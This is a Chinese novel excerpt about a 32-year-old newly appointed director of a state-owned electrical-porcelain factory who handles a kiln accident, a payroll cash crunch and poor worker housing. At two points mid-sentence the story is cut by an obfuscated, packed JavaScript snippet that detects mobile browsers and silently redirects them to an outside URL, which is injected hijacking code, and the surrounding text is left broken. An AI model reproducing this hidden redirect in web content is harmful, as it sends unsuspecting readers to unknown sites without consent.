《前路漫漫,心路茫茫》 1. 一 湘东地区的蓝圩镇是一个普普通通的城关小镇,除了有座破旧的伏波将军庙,突兀地矗立在蓝江河边光秃秃的山岭上,时不时有人观光朝拜,其它也就没什么引人注目的了。不过,由于蓝圩镇毗邻工业主城,沿江一字排开的两个国营部属企业就成了一道亮丽的风景线。那年头,改革开放还不久,本地没有什么像样的民营企业,国营企业的风头正盛,而且大家往往讲究企业的主管单位,比较起县属企业、市属企业和省属企业,自然是中央直属企业,更让老百姓看重。 由于小镇不是很大,当地有些居民又喜欢嚼舌根子,张家长李家短的,经常一件小事传得满城风雨。这不,前几天,镇上又在疯传汽车配件厂闹出的一件怪事。汽配厂就是前面所说的部属企业之一,据说,星期六晚上,四个小伙子玩扑克,赌点小钱,玩了个通宵。到第二天凌晨,玩完后算总账,居然四个人都赢了钱,百思不得其解。到天亮后仔细一看,四人手上的钞票都变成了冥币。 这件事,讲的人有声有色,听的人毛骨悚然。如果是一般的鬼故事,也就罢了,因为大家都知道不过是虚幻之事,不能当真。但这次风传的故事,有鼻子有眼,四个人又都是汽配厂的正式职工,有名有姓,不得不使人莫名惊恐。 事情闹大了,当事者单位不得不出来干涉,最后经过该厂保卫部门“严肃调查”,结果发现又是一场乌龙。四个年轻人通宵打扑克此事不假,为了追求刺激,想玩钞票也是真的,但由于那时候大家工资都不高,玩不起真钞票而且也怕被抓。有个小伙子出了个主意,说前两天孙老头出殡后还剩下一堆纸钱,不如拿来玩玩,大家同意他的意见,就用冥币做赌资玩了起来。至于为什么打完扑克后仔细算账,居然四个人都赢钱,也是一个笑话。真实情况是,当晚有一个新手输了钱,而且输得很惨,问题出在当时分冥币时,大家分的数额表面上看是一样多,但分给那个新手的冥币里有一叠伍仟元面值的,除了面上的一张是伍仟元,下面全是壹万元的。由此,这个新手尽管输了很多,但算总账,剩下的冥币数额仍比大家以为分给他的钱数还多,造成了这位新手也赢钱了的假象。而这件事又只有这个新手自己心里清楚,如果不是工厂保卫科深究,此事可能真会成为一个悬疑故事流传下去。 小镇总是有道不尽的流言,传不完的话题。 季春一个周二的上午,汽配厂维修车间里,几个工人又在七嘴八舌地议论昨天发生在隔壁通讯器材厂的一件新闻。这个器材厂也是一家中央直属企业,在汽配厂和器材厂众人心目中,两个单位历来是竞争对手关系,两家企业什么事情都要互相攀比一番。你这家厂新建了一个漂亮的篮球场,另一家不服气,想方设法搞一个比他更好的灯光球场;他那家厂的文艺宣传队节目在全市汇演中获了奖,另一家肯定憋着劲,在招工时千方百计物色几个能唱会跳的苗子,争取在下一次汇演中把风头抢过来。 “哎呀!有没有搞错,才32岁就当厂长了?听说在他们那个部属企业里,是最年轻的处级干部。”一个满脸络腮胡须的汉子扯开嗓子与人说着话。他旁边蹲着的一个年轻小伙子一把摘掉工作帽,愤愤不平地回应:“这家伙肯定有很深的背景,我们厂上次选一个小小的工段长,我想报名,他们都说我年龄太小,资历不够。他们厂大把抗战与解放战争时期老干部,他这个毛头小伙子凭什么当厂长?” 手上拿把卡尺的大叔也插话了:“别说,他还真可能上头有人。莫小看,隔壁厂的确是个藏龙卧虎的地方,听说他们厂有个科长的亲伯父是个副国字号的,还有个车间主任是□□的外甥。这次提拔的这个姓周的厂长,怕也是有些来头。” 正当大家议论纷纷时,该厂保卫科干事邱智仁正好路过,大声叫道:“瞎嚷嚷什么,都不上班了?”这个邱干事,就是该厂为“扑克冥币案”破案的主要成员之一。 众人静了下来,大叔急忙解释:“邱干事,我们是工间休息,正在聊隔壁厂新提拔厂长的事。” “哦!”邱干事停下脚步,饶有兴致地走近大伙,说:“有意思,有意思,我们刚才也在议论这件事。” 小伙子看邱干事也感兴趣,更来劲了:“邱干事,这个姓周的家族里有什么当大官的?” 邱干事笑了笑:“哎,别什么事都往邪道上去想,我与他们厂保卫部门联系较多,对这件事比较清楚。这个新任命的周亚平也是从工人开始,由班组长 、车间主任、生产科长一步一步提拔上来的,这次提拔,其实级别还是副厂级,代理厂长职务。别冤枉人家,人家是干出来的。” 络腮胡须的汉子凑过来,问邱干事:“听说那个周厂长在大会上作报告,说什么‘当官不为民做主,不如回去吃红薯’”。 他的话惹来一阵哄笑,拿卡尺的大叔赶忙纠正:“哪有什么‘吃红薯’,是‘不如回家卖红薯’”。 “对,这确实是周亚平在就职报告里的原话,”邱干事一脸肃穆,“这也是我极为钦佩的一点。他引用了‘七品芝麻官’里这句俗语‘当官不为民做主,不如回家卖红薯’。还说,我们现在当官不是人民的‘主’,而是人民的‘仆’,对我来说,应该是‘当官不为民谋利,不如仍去扫垃圾’”。邱干事停了停,接着说:“周厂长学校毕业后,下放到工厂当工人,刚开始时当窑杂工,确实打扫过垃圾。” “好了好了,该开工了,我也要办事去了!”邱干事转身离开了车间。一场即兴的新闻传播会终于收场了。 小镇上传得沸沸扬扬的新闻主人公周亚平此时正在器材厂二车间隧道窑旁边紧张地指挥一场事故救援。 二车间是器材厂的老产品车间,主要生产架空明线所用的通信电瓷,也称“隔电子”。当时,电信通信主要是电报、电话,传输线路还没有地下埋设的电缆、光纤,全靠一根根矗立的电线杆架空拉线,而通信瓷瓶就是装在电线杆上起绝缘和支撑作用的器件。 隧道窑是车间生产的主要热工设备,可以连续性烧制电瓷产品。像火车车箱一样,一辆辆窑车上,堆满了用耐火匣鉢装载的电瓷产品泥胚,从隧道窑进口缓缓驶入,经过窑内的预热、烧成、冷却三个温区,按照生产工艺停留不等的时间,最后从窑炉尾部出来时,泥胚产品已经被烧制成晶莹的电瓷制品。 事故是前天晚上发生的,当班工人发现窑车突然停止运行,马上检查窑口的推进机构,没发现故障。当班工人赶快报告值班干部,值班干部来到现场后,与工人们一起仔细勘察,最后才发现是在隧道窑的烧成带与冷却带临界的区位,有一部窑车上堆载的匣鉢出现了坍塌,破碎的匣鉢与电瓷挤满了窑车与窑壁之间的空隙,使得窑车无法向前推进。 事故发生后,已经采取了应急措施,停产止火,送风降温,靠近出口较近的几部窑车也用牵引机拖出。从出口向窑内望去,可看到那部坍塌的窑车。 周亚平与大伙围坐在窑炉出口边,正在研究下一步的事故处理方案。 “请大家想想看,有什么好办法能尽快把那部事故窑车拖出来,尽早恢复生产,否则,这个月生产计划能否完成就成问题了。”周亚平缓缓地说。 “是呀!”生产科科长雷鸣雨一脸的忧心忡忡,“屋漏偏遭连夜雨,财务科老李上午还在跟我说,今年一直亏损,这个月发工资的钱都够呛,隧道窑再这么停下去,怎么得了。” 二车间主任颜鲁陵从坐着的空匣鉢上站起来,走近隧道窑出口,慢慢地朝里走了几步,被一股热风顶了回来,赶忙用衣袖抹了抹脸,吐口唾沫,回到大伙身边。 “为了抢时间,能不能这样,”颜主任用目光扫射了一下大家,“组织一支年轻小伙子的抢险队,轮流进入窑内,把坍塌的碎片检出来,只要把那部倒塌窑车的两侧清理干净,就可以排除事故了。” 主管生产的副厂长肖进一直在默默思索,由于他兼任工厂安全生产领导小组组长职务,此刻他感到左右为难。老颜的提议固然好,为尽快恢复生产争取了时间,但抢险中万一发生人身事故,那就更麻烦了。 “这恐怕有些冒险吧?”肖进发言,“严格地说,事故窑车位置还属于烧成带,离冷却带还有一个车位。尽管现在离出事已有30几个小时,但烧成带温度还比较高,人进去我担心有危险。刚才老颜才往里走几步,不就被热浪打出来了吗。” 众人面面相觑,一时静了下来。 周亚平说话了:“肖厂长说的确实是个问题,窑炉事故抢险当然重要,但如果因此发生人身事故,那就更不划算。大家看还能采取哪些安全措施?” 颜鲁陵走到周亚平身旁:“厂长,我也知道,继续自然降温加上人工降温,等到明后天再去处理是最稳当的做法;但如果再停产一两天,少生产的产品数量是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479000|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法补回来的。”他指了指挂在车间墙上的消防箱,继续说:“我想了一个万全的办法,进去抢险的人员,都穿上在水里浸泡过的防火衣裤,戴上面罩,由于窑炉下部温度比上部温度要低,大家尽量弯腰进去操作,轮流进去,快进快出,应该没有什么问题。” “哎,这倒是个好办法!”雷鸣雨也表示赞同,“周厂长,就这么干吧。” 周亚平站起来,望望众人,用目光征询大家的意见,看到大家面上都露出赞同的表情,说:“既然大家都同意这个办法,就不再犹豫了,我们马上开始行动。颜主任,你立即去找当班的青年工人,组织一支抢险队。雷科长,你去保卫科把现有的消防服全部领出来,如果不够,再找隔壁厂借一点。肖厂长,你全面安排一下,等事故排除后,尽快投入正常生产。” 听完布置,众人分头行动。 不一会,由6个青年工人组成的抢险队来到了窑前,保卫科也送来了9套消防服,在场的人们赶快打开车间里的水龙头,浇湿消防服。事故抢救工作有条不紊地开始进行。 第一个进入窑内的是一个身材魁梧的小伙子,他弓着背,慢慢往窑炉里前行。要知道,正常生产时,窑炉的最高温度为摄氏1300度;虽然经过了30多个小时自然冷却,而且采取了用鼓风机送风的方式降温,但在密闭的窑体内降温速度较慢,窑内依旧是热浪滚滚。小年轻接近事故车时,迟疑了一下,很快又扑过去,用带着手套的手抓住一个破匣鉢,急忙反身从窑炉口踉跄而出。 “怎么样?怎么样?”大伙围了过来。 小伙子摘掉面罩,深深地吸了口气,才慢慢地说:“太热,太热,有点呛喉咙,喘不过气来。” 另一个抢险队员正准备往窑内走,颜鲁陵一把拉住他,同时向另外几个队员交待:“注意,进窑时一定要先深吸一口气,再憋住气弯腰进去,尽量弯到最低,拿了碎片就尽快出窑。” 队员们按照颜主任的嘱咐开始进行排险。 周亚平看到窑炉边还有多余的消防服,走过去拿起一套,放在水龙头下,开始浇水。肖进注意到了他的举动,马上跑过来:“厂长,你想干什么?” “多一个人参加多一份力,他们6个人也没有那么累,可加快点进度。”周厂长一边穿消防服,一边解释。 “不行!”肖进斩钉斩钉截铁地说。其他人也陆续围过来了,雷鸣雨一把拖住周亚康:“怎么能让厂长来干,让我来吧!” “别急!听我说,”周亚平把雷鸣雨的手掰开,“这可是年轻人干的活,你们都比我年纪大,就别再争了!对了,为了尽量利用工具,现在还有2套消防服,你们再找两个年轻人来。”说完,径直走向窑炉,参加了抢险的队伍。 由于增加了3个进窑清理的人员,事故排除进度明显加快,窑尾的空地上,慢慢地堆积起一滩清理出来的破碎匣鉢和产品。 当晚10点多钟,事故全部处理完毕,车间恢复正常生产,工厂高耸的烟筒里,终于又冒出了袅袅青烟。 周亚平这才往家走。 家里3岁的女儿周萌梦已经睡觉,爱人沈珍钰还在灯下缝补衣物,见他回来,赶忙问:“亚平,都说倒窑了,怎么样啦?” 周亚平噗嗤一笑:“什么倒窑了,如果真的倒窑了,那还了得。是有一部窑车出了事故,谢天谢地,总算处理完了。” “哎,你呀就是劳累的命,当个车间主任就已经忙得不可开交,还当什么厂长。” 周家嫂子沈珍钰还真是个少见的不贪慕虚荣或者说根本不知虚荣为何物的女人。人说“妻以夫荣”,但在她的词典里,却是“妻以夫难”。她老公的职务每升一级,她就感到压力加大一级,一举一动都害怕别人说她仗老公的权势,因此,尾巴夹得更紧,人也更加难受。 她从来不关心官场、权斗等一切与她的生活无关的事情,对政治的认识,用周亚平的话说,简直天真到冒傻气。婚前,有一次她听别人说她男朋友“很厉害,这么年轻就选上党委委员,”她悄悄地问周亚平:“党委委员算个什么官?” 这种毫无势利眼,幼稚纯真的品性,也是当初吸引周亚平的原因之一。 周家嫂子递来一条毛巾,说:“这么晚了,一身臭汗,赶快去洗个澡吧!我帮你去拿衣服。” 周亚平接过毛巾,向洗手间走去。 2. 二 星期五上午9点,是器件厂厂长办公例会,也是周厂长上任后的第一个办公会。与会的除了厂长、副厂长,办公室主任,还有三总师:总工程师、总经济师、总会计师,各车间、科室主要负责人。一般情况下,党委书记也列席参加。 “龚书记,我们现在开始开会?”周亚平礼节性地征求党委书记的意见。 器材厂现任的党委书记是个参加过抗日战争的老干部,由县委书记平调到工厂的。这一次工厂领导班子调整,人员变化很大,但龚书记仍留任。 “行!你说吧。”龚书记摆了摆手说。 “那就开会吧!”等大家静下来,周亚平满脸真诚地说 ,“同志们,我刚担任厂长这一职务,没有经验,在座的各位老同志可以说都是我的老师,今后工作中如果发现我有什么问题,请千万不要客气,可以批评,可以反对,只要你说得对,我一定虚心接受。我年纪轻,我会尊重老同志,但为了工作,如果我发现谁有什么问题,对不起,我也会该批评的批评,该处分的处分,绝不会抹不开面子。真到那时希望大家能够谅解。” 周亚平环顾四周,说:“今后的办公会我想改变一下程序,过去是厂长先说,从今天开始,由大家先说,然后集体讨论,最后再由我做个小结。大家看行不行?” 众人面面相觑,有几个科室负责人轻声回应:“行!” 保卫科科长陆晓天与旁边的总务科科长徐茂林窃窃私语:“又玩新招,这真是一个师公子一道符。” 谁知这样小声的一句调侃居然被周亚平听到了,他不禁抿嘴一笑:“陆科长,大声说,没关系。” 知道自己的牢骚话被厂长听到,陆晓天不好意思了,拿出笔记本装作在记笔记的样子。周亚平继续微笑着说:“这话不假,陆科长说出了事情的真相。‘一个师公一道符’,所谓‘师公’,就是会使法术的道士;每个道士都有自己的一套画‘符’的方式。人也一样,每个人都有自己的一套行事的风格与方法,这不是问题的关键,关键在于实践检验,经过实践检验正确的那道‘符’,才是真正管用的‘符’。当然,我们也不能像有的道士那样‘乱画符’,‘鬼画符’,要尊重科学,尊重事实。” 稍停,继续说:“下面请各个车间、科室的负责人发言,希望抓住重点,说清楚以下三个方面:主要存在的问题,产生问题的原因,解决问题的办法或建议。”周亚平结束了开场白。 厂长办公室主任罗文轩点名了:“生产科雷科长先说吧!” “好,我先来吧。”雷鸣雨从口袋掏出一叠稿纸,站了起来。 “请坐下说!”周亚平用手势让他坐下来,“另外,希望发言者最好不要念稿子,偶尔看一眼可以,不要全篇读。” 雷鸣雨挠挠头皮,放下稿子,大声说:“生产上主要有以下几个问题:一、大家都知道的,二车间事故造成两天停产,紧赶慢赶,这个月的生产任务最多也只能完成95%。三车间经过技术改造,生产效率有较大提高,产量是完全没有问题,但由于销售不旺,担心仓库积压太多,现在是在压低产量,估计这个月比上个月要减产40%。” 听到这里,龚书记插话了:“有这种事?我们总是担心生产上不去,任务完不成,三车间现在居然压低产量?周厂长,这不是太离奇了吗?” 主管生产的副厂长肖进赶紧给老爷子解释:“龚书记,这是没办法的事,三车间耐磨塔轮产品原材料价格很贵,库房积压成品太多,销售不出去,积压资金也就多,财务科反映现在都已经运转不开了。” “是呀!”财务科长高吉吉插话了,“我们这里最大的问题是资金周转不过来,说实话,这个月发工资的钱到现在还没有着落。” “啊!工资都发不出,这不乱套了?”有人叫了起来,顿时一片哗然。 周亚平站起来,做了个篮球裁判“暂停”的手势:“同志们,不着急,会有办法的。”大家安静下来后,见财务科长还想继续往下讲,周亚平笑着说:“高科长你等会再发言,先让生产科汇报完。” “行,我接着讲,”雷鸣雨继续说,“五车间生产情况也不太妙,生产数量不少,但质量出了问题,成品率太低,也是减产的趋势。不要怪我们报忧不报喜,整体看来,现在的生产形势确实非常不好。作为生产的主管部门,我们当然有不可推卸的责任,但大家也知道,有些问题是全局性的问题,光靠我们科,是无法扭转的。” 会场陷入沉寂之中。 “没有过不去的坎!”周亚平坚定地说,“其它科室继续发言,然后我们再来商议如何解决存在的问题。” 会议持续进行。各部门汇报完毕后,进入讨论阶段,大家你一言我一语,发表自己的意见。有些问题,大家看法基本一致,但有的问题,却争论得异常激烈。 该进行会议小结了,周亚平翻开笔记本,习惯性地把翻开处按压了一下:“刚才大家都发表了许多很好的意见和建议,下面,我综合大家的意见,结合我自己的认识和想法做一个小结,这也是下一步的工作安排,请同志们做好记录。” 与会成员纷纷拿出了纸笔。 “关于生产问题。二车间刚发生事故,应该认真检讨事故发生的原因,追究相应人员责任。另外,要进一步建立健全相关制度、规章,杜绝今后再发生此类事故。同时,为了弥补停产期间造成的减产,还要想一些办法,采取相应的措施。” “昨天,我又到窑上去看了一下,发现每部窑车上的匣鉢,都有没装满泥胚产品的现象。我问当班工人为什么没有装满,他们告我,釉胚房有位老师父今年退休了,因此泥胚上釉忙不过来,再加上成品率比以前低,故数量不够,造成这几个月匣鉢都不能满载。这是一个很大的资源浪费。请一车间赶快抽调工人师父加强釉胚房,增加半成品产量和提高半成品质量,保证进入隧道窑的匣鉢都满载。只要真正做到这一 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器件厂是个老厂,成为中央直属企业后,前期还是不错的,领导齐心,职工努力,生产经营蒸蒸日上。但后来领导班子里发生了内卷,互不买账,相互拆台。按照老百姓的说法:“师公斗法,病人遭殃”,企业因此一蹶不振,工厂危机重重,群众怨声载道。 最后,上级领导没有办法,只好大刀阔斧地调整领导班子。此前,部局机关的组织部门专门委派工作组到器件厂进行调研,分别找厂级领导、中层干部和职工群众进行谈话,听取了各方面的意见,又与当地市委组织部门进行了沟通。按常规,书记、厂长闹矛盾,必须调走一个,调走这个人的职务一般从现有领导班子中物色一位担任。但器材厂最终宣布任命的领导班子,却令人大吃一惊。原厂长被免这件事并不让人们意外,意外的是新任命的厂长居然不是来自原领导班子里的成员,而是一个年轻的中层干部,也就是前面说的,街头巷尾议论的,32岁的周亚平。 任命一经宣布,器材厂炸开了锅,尽管许多人仔细想想,认为这也许是最好的安排,但还是惊异于这种冲破世俗观念的破格提拔。更多的人有点担心,新厂长从以往的表现看,虽然‘德’方面还算不错,但‘才’方面究竟行不行?这么大一个厂交给一个即使在中层干部里也是年纪最小的人打理,能放心吗? 其实,龚书记也曾有过这种担心。 当初工作组找他谈话时,征求对新的领导班子组成的意见,他第一个提名就是小周。理由是,周亚平从中专毕业分配到厂,一直在基层工作,从最苦最累的窑炉工干起,是一步一个脚印走过来的。他为人正直,品行端良,工作积极,吃苦耐劳,群众基础很不错,上次党委委员选举,唯一全票当选的就是他。 但等到新的任命真正下来后,老龚心里也在打鼓,他知道,周亚平毕竟只在中层担任过领导职务,但当一个好的车间主任或科长,不一定能当一个好的厂长。 通过这几天新厂长的表现,老爷子和大多数职工一样,稍微有些放心了。 3. 三 厂长办公会结束后,周亚平叫住财务科高吉吉:“高科长,我和你一起去你们科,顺便了解一下这个月的财务情况,商议你刚才说的本月工资发放资金来源问题。” “好!”高科长正想与厂长商讨此事,巴不得尽快找到资金来源,缓解燃眉之急。 刚走到财务科门前,就听见里面传来吵吵嚷嚷的声音。 “我们容易吗?天天在外出差,风吹雪打,日晒雨淋,到你们这里还遭刁难,受窝囊气。这也不能报销,那也不能报销,难道要我们自己掏钱去跑业务?”一个中年汉子正在室内气咻咻地大吼。定睛一看,不是别人,正是供销科有名的“张大炮”——张伍成。 高吉吉赶忙跑过去,一把拉住老张:“吵什么吵,慢慢说,厂长来了。” 谁知听说厂长来了,老张更起劲了:“厂长来了有什么了不起,我还正要找他给评评理。” “老张同志,先消消火气,什么事还需要我来评理?”周亚平也走到张伍成身旁。 “周厂长,你刚高升了,可要主持公道。”张伍成把手上攥着的一叠票据扬了扬,“这是我们科小杨的报销单据,财务科说不能报销,你说,哪有这样道理?” “厂长,是这么回事,”财务科裘会计急忙声辩,“那些不能报销的单据里,有不少是收据,不是正规的发票,这是财务制度明文规定不能报销的。” 听她这一说,老张叫苦了:“哎!我们去的一些小单位,根本就开不出发票,你要我们怎么办?” “我们也没有办法呀,这是财政部的规定。”裘会计委屈地回应。 “好!就算这一点你们有点道理,那还有不少公交车票,为什么也不能报销?难道也要公共汽车司机开发票?”张伍成继续诘问。 财会室众人互相对视,脸上露出诡异的笑容。 “怎么回事?”高吉吉追问。 还是裘会计发声:“公交车票本身没问题,有问题是我们发现有好多张票有连号现象,比如尾号为353、354、355、356,你小杨一个人出差,不可能同一趟车买几张票吧?这里面肯定有猫腻,因此我们也没有同意报销。” “什么,什么,有这样的事?”老张慌忙问。 “就说你是大炮,一进门就乱放炮,也不问青红皂白。”高吉吉批评老张说。 周亚平也笑了笑:“老张你为人仗义,爱打抱不平,这是我们都知道的,但不能不讲原则。就拿这件事来说,一是财务有财务的制度,收据不能报销,这是无法通融的。二是如果查清楚公交车票确系弄虚作假,你出面来闹,不是帮了小杨,而是害了小杨。” 转头又对高吉吉等人说:“高科长,裘会计,请你们尽快查明公交车票连号问题的真相,如果查实是作弊,骗取公费报销,你们必须和供销科一起,严肃处理此事。” 事已至此,张伍成也只好怏怏地离开财务室。 周亚平与高吉吉开始转入正题,与财务科主管会计商议资金问题。 “裘会计,我知道,今年前三个月都是亏损,但我看了上个月的财务报表,流动资金并不缺钱呀?怎么高科长说本月发工资的钱都成问题呢?”周亚平疑惑地问。 “厂长,是这样的,这个月初,购进了几十吨燃料重油和一大批原材料,资金都汇出去了。上个月初销出去的电瓷产品,正常情况下,货款应在上月底前到账,按说资金周转不应该有什么问题,谁知到现在,还没有任何回款的消息。下周三就是发薪日,所以我们非常着急。”裘会计解释。 “向客户追款了吗?” 高吉吉接过话:“怎么会不追款,供销科和我们科,每天都有几个电话打过去。但对方说,他们也是有一大批货款没回笼,说是三角债,害死人,要我们再等几天。” 一时无语,办公室静了下来。 “不行!”周亚平搓了搓手,“高科长,不能再傻等了。我们马上到供销科去一趟,今天无论如何要商量出解决办法。”搓手是周亚平的习惯动作,一般在紧急情况下作决策时,都会有此动作。 在供销科办公室里,召开了一个临时会议,讨论的核心问题就是电瓷产品货款回笼问题。 “不妨给大家说实话,现在工厂资金形势很严峻,如果我们科不能在这几天把销售货款追回来,这个月的工资都没钱发放。”柴福生开门见山地对大家说,“大家看,周厂长和高科长都亲自参加我们的会议,你说事情急不急?下面先请厂长作指示。” “柴科长,没有什么指示不指示,我先发个言吧。”周亚平欠了欠身,“刚才柴科长给大家把目前暂时的困难说清楚了,现在主要想听听同志们的意见,看有什么好办法能尽快把货款追回来。” 张伍成第一个发言:“现在主要是客户单位换了领导,过去这家 单位的胡总我们都很熟,他如果还在,回款肯定没有问题,但现在新来的阳总,我们过去谁也没打过交道。” “是呀!听说是外系统调进来的。” “我们打电话过去,经常吃闭门羹,说找不到人。” “一定是这家伙故意不接电话。” 几个负责销售的人员七嘴八舌议论起来。 柴福生询问:“周厂长,要不我跑一趟北京,当面去找阳总催款?” 周亚平微微摇头:“把握性不大,而且时间来不及。” 会场上再无人发言。 周亚平仔细地打量了一下在座的众人,发现了有个老同志欲言又止的样子,马上说:“老刘,你有什么好主意?” 老刘头是科里的内勤,平时寡言少语,此时被厂长点名,更加慌乱起来,嗫嚅着说:“没有,没有,没有好主意。” 周亚平仍然和颜悦色地对他说:“没关系,这件事关系到全厂一千多职工的薪水问题,什么想法都可以说出来。管不管用都得试试。” “既然这样,那我就说了,”老刘一副豁出来的表情,“追账一事我想了半天,依我看,我们厂只有一个人有可能办得成。” “谁?”大家异口同声。 老刘头不慌不忙地说:“离休的老科长马晋业。” 见大家一脸的疑惑,老刘给大家分析:“马科长与客户单位原来的胡总关系最铁,这一点大家应该知道吧?” “这谁不知道?但胡总已经调走了,人一走,茶就凉,找他管屁用。”张伍成不耐烦地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479002|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老刘头嘿嘿两声:“这你就只知其一不知其二了。现在的阳总是哪里来的?他是胡总推荐接位的,再说胡总现在还在集团公司任人事处长,更有权势,如果能让他说句话,阳总敢不给面子?” 柴福生猛地一拍桌子:“有道理!现在就派人去把马科长叫来。” “慢!”周亚平轻声说,“还是你亲自到马科长家里去请好一些。” “不要!”财务科长高吉吉走到周亚平身旁 ,“周厂长,这件事柴科长或科里其他人去都不合适,搞得不好适得其反。只有麻烦厂长你亲自跑一趟,不说‘三顾茅庐’,我相信,周厂长一顾茅庐就会请得动老科长。” 大家心照不宣地笑了起来。高吉吉说的不能让柴科长去,是因为马、柴二人原来是供销科的正副科长,但又一直疙疙瘩瘩相处不和,如果现在让柴科长去请已经离休的马科长,真有可能会受憋。 周亚平也笑了:“这个主意不错,我去。柴科长,你帮我打个电话,叫办公室罗主任来一趟,把最近准备慰问老干部的礼品带上,我们今天就把两件事一起办了。” 说完,转身离开了供销科。 马科长是参加过解放战争渡江战役的离休老干部,此时正在宿舍楼底的树荫下与一帮老头下象棋,见到厂长来找他,赶紧站起来,跟对手说:“厂长来了,不下了,不下了。” “马老,不碍事,你们先下完这盘吧。” “那怎么行,走,进屋去喝茶。” 马科长把棋盘上的棋子抹乱,领着厂长和办公室罗主任往楼上走。 在马科长家的客厅里,周亚平嘬了一口茶,向马科长说明了来意:“马老,今天到您家里来,首先是代表工厂和全厂职工,对老干部表示慰问。一点小礼品,不成敬意,还请笑纳。”办公室罗主任顺势把带来的礼品递到马老手上。 “太客气了,周厂长你刚上任,许多大事都忙不过来,用句时髦的话叫百废待兴, 这种走门串户的事,让小罗他们办办就行了,你又何必亲自出马。我们这些老头子,这点道理还是懂的,决不会挑礼。” 周亚平笑了笑:“马老,不瞒您说,今天来找您,还有一件重要的事情要请您出山。” “哦,什么事?” 周亚平一五一十地把追讨货款的事告与马老。 “马老,都说您与胡总关系最好,我想,如果您出面让胡总给阳总打招呼,快点付给我们货款,胡总应该不会推辞吧?” “那是当然的,”马老松了口气,“我还以为什么大事,担心办不下来,辜负了同志们的期望。这件事没有任何问题。” “周厂长,你可能不知道,我和老胡是东北老乡,是同一个村的,一直到现在,关系比一般亲戚还要好。这不,前几天他小儿子结婚,我还专门托人从礼陵买了一套52件套的釉下彩瓷器寄给他。” “那就太好了,您尽快给胡总打个电话,请他跟阳总说说,无论如何这两天把全部货款……实在不行一半的货款也可以,电汇过来。” “行!”马福生爽快地答应。 事情办得很顺利,三天后,客户的货款全部到账,器件厂的薪金危机终于解除了。 4. 四 潇湘的天气比较走极端,冷的时候,像掉进冰窖;热的时候,如困在火笼。有人说,这说法不对,大东北冬天零下三十几度不比你冷?不错,北方地区的冬天,室外很冷,潇湘无法比,但那里室内到处都有暖气,温暖如春。反观潇湘地区,到了寒冬腊月,那种沁入骨髓的冷,使你无处躲藏。夏天刚好相反,从早一直热到晚,如果没有空调,上半夜无法入睡。 器材厂的职工面临着又一个酷暑的考验。 厂区通道上,悬挂着红底白字的大横幅::“战高温,夺高产,彻底打个翻身仗!” 午餐时间,周亚平走进食堂就餐。 打饭窗口买了饭菜后,周亚平向附近的一张餐桌走去,准备坐下。原来坐在这张桌旁的几个小伙子看见厂长过来,赶紧挪了挪,一个小伙子好奇地问:“周厂长,你怎么也到食堂吃饭?” “中午想留点时间咪咪眼,回去自己做饭太费时间,就在食堂吃点。” 看到几个小伙子都是一副无精打采的样子,周亚平一边夹菜吃饭,一边反问:“怎么啦,看起来一个个都像霜打的茄子——蔫了?” “跟你一样没睡好觉。当然我们知道,厂长你是日夜忙工厂生产的事,少了睡眠时间,我们却是无法安睡。” “为什么?”周亚平停住筷子。 见厂长发问,说话的小伙子露出无奈的表情:“宿舍里晚上热得像个蒸笼,又没有电风扇,叫人怎么睡觉?” “不对呀,昨天我还到单身宿舍去过,没听到这种反映呀?” “我们这批新工人没有住工厂的宿舍,是借住外单位的宿舍。那叫什么宿舍,又潮又闷,冬冷夏热,真没法住。” “哦,原来这样。”周亚平陷入沉思。 吃完中饭,周亚平回到办公室,原打算在沙发上睡个午觉,但翻来覆去睡不着,本想马上把后勤部门的人叫来问清情况,又意识到不便打扰别人的午休,只好爬起来阅批文件。 下午上班铃声响了,周亚平迫不及待地拨通了总务科的电话。 总务科科长徐茂林接到厂长电话,不知有什么重大事情,给科里其他人交待了几句,就匆匆忙忙赶到厂长办公室。 没有寒暄,周亚平直奔主题:“徐科长,住在厂外的那批新工人宿舍的情况你清楚吗?” “太清楚了,近段时间好几个车间都到我们科来反映过,新工人睡不好觉,白天上班没精神。有的车间主任还提到,担心他们上班打瞌睡会出事故。” “那为什么不尽快解决呢?” 徐茂林为难地说:“有什么办法?工厂扩大生产,招了一大批新工人,单身宿舍不够用,只能借住兄弟厂的宿舍,人家那是将要报废的住房,条件极差。” “考虑过新建单身宿舍吗?” “去年就打过报告,上级一直未批。” 那个年代,国营企业的一切经济活动,企业没有自主权,但凡稍微大一点的项目,都要请示上级单位审批。 “我记得你们科管基建的熊工提出过,最快的解决办法,就是在现有的单身宿舍基础上,加盖一层。”周亚平问。 “没错!当初建单身宿舍时,是按两层设计的,只是由于缺钱,只盖了一层。因此,熊工认为,现在加盖一层,地基毫无问题,而且工期也很短,只要两个多月就可完工。” 徐茂林补充说:“就是这个基建计划,去年就报上去了,部局到现在也没批下来。” 周亚平见一时也商议不出能彻底解决问题的办法,只好对徐茂林说:“那就这样吧,你们先帮这批住在外面的工人解决电风扇问题。争取今天就安装好,暂时解决一下。其它办法,我们再想想。” “好吧,厂长,没什么事我先回去了。” 徐茂林准备离开。 “慢点!还有一件事,请你回去落实。现在天气很热,几个车间的工人天天守在高温炉前,更加辛苦,你们安排食堂煮点绿豆汤,上午和下午各一次,送到车间里,给工人们喝。这要作为一项防暑降温的措施坚持下去。” “行!我马上去安排。” 